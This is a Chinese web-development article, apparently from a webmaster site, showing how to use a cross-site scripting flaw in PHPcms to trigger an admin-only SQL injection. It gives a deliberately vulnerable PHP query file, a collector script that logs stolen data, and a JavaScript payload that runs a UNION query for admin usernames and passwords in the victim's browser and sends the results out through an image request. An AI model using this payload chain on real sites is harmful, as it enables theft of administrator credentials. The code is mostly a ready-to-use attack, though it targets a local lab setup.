首页 | 源码下载 | 网站模板 | 网页特效 | 广告代码 | 网页素材 | 字体下载 | 书库 | 站长工具
会员投稿 投稿指南 RSS订阅
当前位置:主页>网络编程>PHP教程>资讯:PHPcms利用xss执行sql注入

PHPcms利用xss执行sql注入

www.jz123.cn  2012-09-18   来源:   站长家园    责任编辑(袁袁)    我要投递新闻

 

昨天看见phpcms v9.1.15爆的xss和无权限的sql注入,于是就想测试下利用xss执行sql注入,虽然爆的这个phpcms漏洞还有很多其他的用法!但是,这个注入我没有找到phpcms v9.1.15测试,其他版本都没有测试成功!

于是乎我只有假想下一个极端环境:
1.前台有且只有一个xss漏洞(不能获取管理员cookie)
2.后台有且只有一个sql注入漏洞(注入漏洞文件只有管理员可以访问)
3.注入获得管理员密码可解密
4.除以上无其他任何漏洞(包括后台getwebshell)

其实我就是想说,我们只可以利用这个xss执行注入!


模拟注入漏洞代码
  1. sqli.php
    01 <?php
    02 @error_reporting (E_ALL & ~E_NOTICE & ~E_WARNING);//错误忽略
    03 $con = mysql_connect("localhost","root","");
    04 if(!$con) {die('Could not connect: ' . mysql_error());}
    05 mysql_select_db("test",$con);
    06 $id = $_GET['xss'];
    07 $sql = "select id,realname from test where id="."$id";
    08 $view = mysql_query($sql);
    09 $row = mysql_fetch_array($view);
    10 echo $row[id]."<br />";
    11 echo $row[realname]."<br />";
    12 ?>
  1. mysql数据库:
    1 database:test
    2 table:test、admin
    3 column:test.id、test.realname
    4 admin.id、admin.username、admin.password
  1. get.php(获取的注入后数据截取)
    1 <?php
    2 $file = fopen("data.txt","a");
    3 fwrite($file,$_GET['get']);
    4 fclose($file);
    5 ?>
  1. xsssqli.js(payload)
    01 function addLoadEvent(func)//窗口打开加载多个函数
    02 {
    03 var oldfunc=window.onload; //页面打开是加载方法
    04 if(typeof(window.onload)!="function")
    05 {
    06 window.onload=func;
    07 }
    08 else
    09 {
    10 window.onload=function()
    11 {
    12 oldfunc();
    13 func();
    14 }
    15 }
    16 }
    17 function get_xsssqli()
    18 {
    19 var url = "http://127.0.0.1/xss/sqli.php?xss=1%20and%201=2%20union%20select%20username,password%20from%20admin";
    20 var ajax = null;
    21 if(window.XMLHttpRequest)
    22 {
    23 ajax = new XMLHttpRequest();
    24 }
    25 else if(window.ActiveXObject)
    26 {
    27 ajax = new ActiveXObject("Microsoft.XMLHTTP");//ie6和一下老版本
    28 }
    29 else
    30 {
    31 return;
    32 }
    33 ajax.open("GET", url, true);
    34 ajax.send(null);
    35 ajax.onreadystatechange = function()
    36 {
    37 if(ajax.readyState == 4 && ajax.status == 200)
    38 {
    39 var img = document.createElement("img");
    40 img.src = "http://127.0.0.1/xss/get.php?get="+ajax.responseText;
    41 document.body.appendChild(img);
    42 }
    43 }
    44 }
    45 addLoadEvent(get_xsssqli);
  1. 模拟xss漏洞
    1 <html>
    2 <head>
    3 <title>use xss to sqli</title>
    4 </head>
    5 <body>
    6 <script src=http://127.0.0.1/xss/get.js ></script>
    7 </body>
    8 </html>

最后成功得到数据:


当然你也可以写个正则截获指定数据!

上一篇:preg_match_all匹配文章中的图片作为文章标题的小图片 下一篇:Thinkphp常用系统配置大全

评论总数:0 [ 查看全部 ] 网友评论


关于我们隐私版权广告服务友情链接联系我们网站地图